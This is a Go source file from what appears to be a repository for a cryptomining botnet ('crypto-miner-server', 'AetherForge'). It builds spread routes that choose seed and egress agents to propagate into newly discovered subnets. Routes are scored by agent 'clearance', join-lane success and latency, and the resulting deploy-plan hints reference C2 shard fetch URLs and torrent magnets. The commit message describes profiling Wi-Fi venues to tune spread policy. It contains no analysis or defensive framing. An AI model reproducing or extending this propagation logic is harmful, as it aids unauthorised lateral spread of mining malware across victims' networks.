Files
AetherForge/server/internal/spreadrouter/router.go
AetherForge bbab38f8e1
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add scout constellation mode for APK venue persona packs.
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
2026-06-07 09:18:58 -07:00

480 lines
12 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// Package spreadrouter computes BGP-style spread routes from Path Tracer sessions,
// agent clearance, lane success history, and latency.
package spreadrouter
import (
"net"
"strings"
"crypto-miner-server/internal/clearance"
)
// SpreadMinClearance is the minimum clearance required for spread actions (L2).
const SpreadMinClearance = clearance.L2
// HopSnapshot is one agent hop in an active Path Tracer session.
type HopSnapshot struct {
AgentID string
AgentName string
Subnet string
SessionID string
HopIndex int
Connected bool
}
// SubnetDiscovery links a discovering hop to hosts on a target subnet.
type SubnetDiscovery struct {
Subnet string
AgentID string
Hosts []string
}
// SessionSnapshot is routable state from one Path Tracer session.
type SessionSnapshot struct {
SessionID string
Hops []HopSnapshot
Discoveries []SubnetDiscovery
}
// FleetAgentSnapshot is a connected fleet agent used for routing.
type FleetAgentSnapshot struct {
AgentID string
AgentName string
Subnet string
Clearance int
LatencyMs int
JoinLane string
Connected bool
}
// LaneSuccessStat is historical join-lane success on a subnet.
type LaneSuccessStat struct {
Subnet string
JoinLane string
Success int
}
// Input feeds the route table builder.
type Input struct {
Sessions []SessionSnapshot
FleetAgents []FleetAgentSnapshot
LaneSuccess []LaneSuccessStat
TargetSubnets []string
RequestedLane string
ErasureLanesEnabled bool
}
// RouteEdge is a weighted edge from a seed hop to a target subnet.
type RouteEdge struct {
FromAgentID string `json:"from_agent_id"`
FromAgentName string `json:"from_agent_name,omitempty"`
ToSubnet string `json:"to_subnet"`
SessionID string `json:"session_id,omitempty"`
HopIndex int `json:"hop_index,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
Clearance int `json:"clearance_level"`
LaneSuccess float64 `json:"lane_success_rate"`
LatencyMs int `json:"latency_ms,omitempty"`
Weight float64 `json:"weight"`
}
// RouteRecommendation is the best seed hop for one target subnet.
type RouteRecommendation struct {
TargetSubnet string `json:"target_subnet"`
SeedAgentID string `json:"seed_agent_id"`
SeedAgentName string `json:"seed_agent_name,omitempty"`
EgressAgentID string `json:"egress_agent_id"`
EgressHopIndex int `json:"egress_hop_index,omitempty"`
SessionID string `json:"session_id,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
ClearanceLevel int `json:"clearance_level"`
Score float64 `json:"score"`
Reason string `json:"reason,omitempty"`
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
SwarmMagnet string `json:"swarm_magnet,omitempty"`
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
}
// SpreadRouteHint is attached to signed deploy plans for agent egress routing.
type SpreadRouteHint struct {
TargetSubnet string `json:"target_subnet"`
SeedAgentID string `json:"seed_agent_id"`
SeedAgentName string `json:"seed_agent_name,omitempty"`
EgressAgentID string `json:"egress_agent_id"`
EgressHopIndex int `json:"egress_hop_index,omitempty"`
SessionID string `json:"session_id,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
Score float64 `json:"score,omitempty"`
ClearanceLevel int `json:"clearance_level,omitempty"`
// ErasureLanesEnabled signals parallel ReedSolomon lane redundancy on deploy plans.
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
// SwarmMagnet is the fleet torrent magnet link for erasure shard swarm discovery.
SwarmMagnet string `json:"swarm_magnet,omitempty"`
// ShardManifestURLs lists C2/public shard fetch URLs for BGP spread hints.
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
}
// RouteTable holds weighted edges and recommendations.
type RouteTable struct {
Edges []RouteEdge
Routes []RouteRecommendation
bySubnet map[string]RouteRecommendation
}
const (
weightClearance = 0.35
weightLane = 0.40
weightLatency = 0.25
)
type candidate struct {
agentID string
agentName string
subnet string
sessionID string
hopIndex int
clearance int
latencyMs int
joinLane string
laneRate float64
discovered bool
}
// Build constructs a route table from Path Tracer sessions and fleet telemetry.
func Build(in Input) *RouteTable {
rt := &RouteTable{bySubnet: make(map[string]RouteRecommendation)}
laneRates := laneSuccessRates(in.LaneSuccess, in.RequestedLane)
fleetByID := make(map[string]FleetAgentSnapshot, len(in.FleetAgents))
for _, ag := range in.FleetAgents {
fleetByID[ag.AgentID] = ag
}
targets := normalizeTargets(in)
for _, target := range targets {
cands := collectCandidates(in, target, fleetByID, laneRates)
rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, cands)
if rec.SeedAgentID != "" {
rt.Routes = append(rt.Routes, rec)
rt.bySubnet[target] = rec
}
rt.Edges = append(rt.Edges, edges...)
}
return rt
}
// Recommend returns the best route for a target subnet.
func (rt *RouteTable) Recommend(targetSubnet string) (RouteRecommendation, bool) {
if rt == nil {
return RouteRecommendation{}, false
}
targetSubnet = NormalizeSubnet(targetSubnet)
rec, ok := rt.bySubnet[targetSubnet]
return rec, ok
}
// ToHint converts a recommendation into a deploy-plan hint.
func ToHint(rec RouteRecommendation) *SpreadRouteHint {
if rec.SeedAgentID == "" {
return nil
}
return &SpreadRouteHint{
TargetSubnet: rec.TargetSubnet,
SeedAgentID: rec.SeedAgentID,
SeedAgentName: rec.SeedAgentName,
EgressAgentID: rec.EgressAgentID,
EgressHopIndex: rec.EgressHopIndex,
SessionID: rec.SessionID,
JoinLane: rec.JoinLane,
Score: rec.Score,
ClearanceLevel: rec.ClearanceLevel,
ErasureLanesEnabled: rec.ErasureLanesEnabled,
}
}
func normalizeTargets(in Input) []string {
seen := make(map[string]bool)
var out []string
add := func(s string) {
s = NormalizeSubnet(s)
if s == "" || seen[s] {
return
}
seen[s] = true
out = append(out, s)
}
for _, t := range in.TargetSubnets {
add(t)
}
for _, sess := range in.Sessions {
for _, d := range sess.Discoveries {
add(d.Subnet)
}
}
for _, ag := range in.FleetAgents {
add(ag.Subnet)
}
return out
}
func collectCandidates(in Input, target string, fleet map[string]FleetAgentSnapshot, laneRates map[string]float64) []candidate {
seen := make(map[string]bool)
var out []candidate
add := func(c candidate) {
if c.agentID == "" {
return
}
if ag, ok := fleet[c.agentID]; ok {
if c.clearance == 0 {
c.clearance = ag.Clearance
}
if c.latencyMs == 0 {
c.latencyMs = ag.LatencyMs
}
if c.joinLane == "" {
c.joinLane = ag.JoinLane
}
if c.agentName == "" {
c.agentName = ag.AgentName
}
if !ag.Connected {
return
}
}
if c.clearance < SpreadMinClearance {
return
}
key := c.agentID + "|" + target
if seen[key] {
return
}
seen[key] = true
if c.laneRate == 0 {
c.laneRate = laneRates[target+"|"+strings.TrimSpace(c.joinLane)]
if c.laneRate == 0 {
c.laneRate = laneRates[target+"|"]
}
}
out = append(out, c)
}
for _, sess := range in.Sessions {
for _, hop := range sess.Hops {
ag := fleet[hop.AgentID]
c := candidate{
agentID: hop.AgentID,
agentName: hop.AgentName,
subnet: hop.Subnet,
sessionID: sess.SessionID,
hopIndex: hop.HopIndex,
clearance: ag.Clearance,
latencyMs: ag.LatencyMs,
joinLane: ag.JoinLane,
}
for _, d := range sess.Discoveries {
if NormalizeSubnet(d.Subnet) == target && d.AgentID == hop.AgentID {
c.discovered = true
break
}
}
if c.discovered || NormalizeSubnet(hop.Subnet) == target {
add(c)
}
}
}
for _, ag := range in.FleetAgents {
if !ag.Connected || ag.Clearance < SpreadMinClearance {
continue
}
if NormalizeSubnet(ag.Subnet) != target {
continue
}
add(candidate{
agentID: ag.AgentID,
agentName: ag.AgentName,
subnet: ag.Subnet,
clearance: ag.Clearance,
latencyMs: ag.LatencyMs,
joinLane: ag.JoinLane,
laneRate: laneRates[target+"|"+strings.TrimSpace(ag.JoinLane)],
})
}
return out
}
func scoreCandidates(target, requestedLane string, erasureLanes bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
var edges []RouteEdge
var best RouteRecommendation
var bestScore float64
for _, c := range cands {
clearanceScore := clearancePreference(c.clearance)
laneScore := c.laneRate
if laneScore <= 0 && strings.TrimSpace(requestedLane) != "" && strings.EqualFold(c.joinLane, requestedLane) {
laneScore = 0.5
}
latencyScore := latencyPreference(c.latencyMs)
weight := weightClearance*clearanceScore + weightLane*laneScore + weightLatency*latencyScore
if c.discovered {
weight += 0.05
}
edges = append(edges, RouteEdge{
FromAgentID: c.agentID,
FromAgentName: c.agentName,
ToSubnet: target,
SessionID: c.sessionID,
HopIndex: c.hopIndex,
JoinLane: c.joinLane,
Clearance: c.clearance,
LaneSuccess: laneScore,
LatencyMs: c.latencyMs,
Weight: weight,
})
if weight > bestScore {
bestScore = weight
reason := "minimum-clearance route"
if c.discovered {
reason = "path-tracer discovery on subnet"
} else if NormalizeSubnet(c.subnet) == target {
reason = "fleet agent on target subnet"
}
best = RouteRecommendation{
TargetSubnet: target,
SeedAgentID: c.agentID,
SeedAgentName: c.agentName,
EgressAgentID: c.agentID,
EgressHopIndex: c.hopIndex,
SessionID: c.sessionID,
JoinLane: firstNonEmpty(requestedLane, c.joinLane),
ClearanceLevel: c.clearance,
Score: weight,
Reason: reason,
ErasureLanesEnabled: erasureLanes,
}
}
}
return best, edges
}
func clearancePreference(level int) float64 {
if level < SpreadMinClearance {
return 0
}
excess := float64(level - SpreadMinClearance)
maxExcess := float64(clearance.L4 - SpreadMinClearance)
if maxExcess <= 0 {
return 1
}
if excess > maxExcess {
excess = maxExcess
}
return 1 - excess/maxExcess
}
func latencyPreference(ms int) float64 {
if ms <= 0 {
return 1
}
return 1 / (1 + float64(ms)/100)
}
func laneSuccessRates(stats []LaneSuccessStat, requestedLane string) map[string]float64 {
type bucket struct {
total int
lane int
}
bySubnet := make(map[string]*bucket)
for _, s := range stats {
sub := NormalizeSubnet(s.Subnet)
if sub == "" || s.Success <= 0 {
continue
}
b := bySubnet[sub]
if b == nil {
b = &bucket{}
bySubnet[sub] = b
}
b.total += s.Success
if requestedLane != "" && strings.EqualFold(s.JoinLane, requestedLane) {
b.lane += s.Success
}
}
out := make(map[string]float64)
for sub, b := range bySubnet {
if b.total <= 0 {
continue
}
out[sub+"|"] = clamp01(float64(b.total) / float64(b.total+3))
if requestedLane != "" && b.lane > 0 {
out[sub+"|"+requestedLane] = clamp01(float64(b.lane) / float64(b.total))
}
}
return out
}
func clamp01(v float64) float64 {
if v < 0 {
return 0
}
if v > 1 {
return 1
}
return v
}
func firstNonEmpty(parts ...string) string {
for _, p := range parts {
if strings.TrimSpace(p) != "" {
return strings.TrimSpace(p)
}
}
return ""
}
// NormalizeSubnet returns a /24-style prefix for routing keys.
func NormalizeSubnet(s string) string {
s = strings.TrimSpace(strings.ToLower(s))
if s == "" {
return ""
}
if strings.HasSuffix(s, ".x") {
return strings.TrimSuffix(s, ".x")
}
return SubnetFromIP(s)
}
// SubnetFromIP extracts a routable subnet prefix from an IP or CIDR-ish string.
func SubnetFromIP(ip string) string {
ip = strings.TrimSpace(ip)
if ip == "" {
return ""
}
host := ip
if h, _, err := net.SplitHostPort(ip); err == nil {
host = h
}
if strings.Count(host, ".") == 2 {
return host
}
parsed := net.ParseIP(host)
if parsed == nil {
return ""
}
if v4 := parsed.To4(); v4 != nil {
parts := strings.Split(host, ".")
if len(parts) >= 3 {
return strings.Join(parts[:3], ".")
}
}
if strings.Contains(host, ":") {
parts := strings.Split(host, ":")
if len(parts) >= 3 {
return strings.Join(parts[:3], ":")
}
}
return ""
}